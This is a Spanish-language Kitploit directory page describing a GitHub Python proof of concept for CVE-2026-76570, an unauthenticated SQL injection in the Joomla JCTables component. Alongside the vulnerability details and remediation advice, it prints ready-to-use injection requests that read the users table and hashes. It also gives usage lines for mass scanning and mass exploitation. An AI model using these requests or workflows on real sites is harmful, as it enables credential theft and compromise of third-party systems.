Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-76570 — Prueba de concepto en Python para CVE-2026-76570: inyección SQL no autenticada en la API JSON del front-end de Joomla JCTables (com_jctables), con modos de comprobación, explotación y escaneo masivo. | Kitploit
Herramientas/GitHubGitHub/murrez/cve-2026-76570
Escáneres de VulnerabilidadesEscáneres de Vulnerabilidades WebAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubmurrez/cve-2026-76570

CVE-2026-76570

Prueba de concepto en Python para CVE-2026-76570: inyección SQL no autenticada en la API JSON del front-end de Joomla JCTables (com_jctables), con modos de comprobación, explotación y escaneo masivo.

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-76570 — JCTables (com_jctables) lectura/escritura SQL sin autenticación

PoC en Python 3 para CVE-2026-76570 — Joomcode JCTables — inyección SQL sin autenticación en la API CRUD JSON del front-end (getdatarow, getrow, …).

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76570 (PUBLICADO 2026-09-30)
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-76570
CNAJoomla! Project
Componentecom_jctables
Afectado1.0.0 – 1.20.0 (laboratorio: ≤ 1.10.31.2 confirmado)
Corrección≥ 1.21.1 (2026-08-05)
CWECWE-89, CWE-862
CVSS 4.010.0 Crítico — AT:N (sin configuración especial de administrador)
AnálisisVulnCheck — JCTables SQL R/W → RCE chain

Mecanismo (breve)

Las tareas del controlador del front-end no tienen token / ACL. Los nombres de tablas y columnas de la solicitud se concatenan en SQL; ladb_escape() trata los valores entre comillas como "ya escapados". getdatarow puede leer tablas arbitrarias de la BD (p. ej. {prefix}users). Esta PoC demuestra la lectura (fila con nombre de usuario / bcrypt) — no ejecuta la cadena completa de inicio de sesión de administrador / RCE mediante plugin.

Marcador de éxito: POCBIT-76570-OK (en los metadatos de prueba JSON).

Requisitos

  • Python 3.9+
  • pip install requests urllib3 colorama

Uso

cd CVE-2026-76570
python poc.py                         # interactive
python poc.py hits.txt                # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt  # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_    # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help

Superficie de la API

PasoSolicitud
Leer filaGET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1
Sonda booleanaGET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR ''

Remediación

Actualice JCTables a 1.21.1+ o elimine el componente.

Legal

Solo para pruebas de seguridad autorizadas.

Descargar herramienta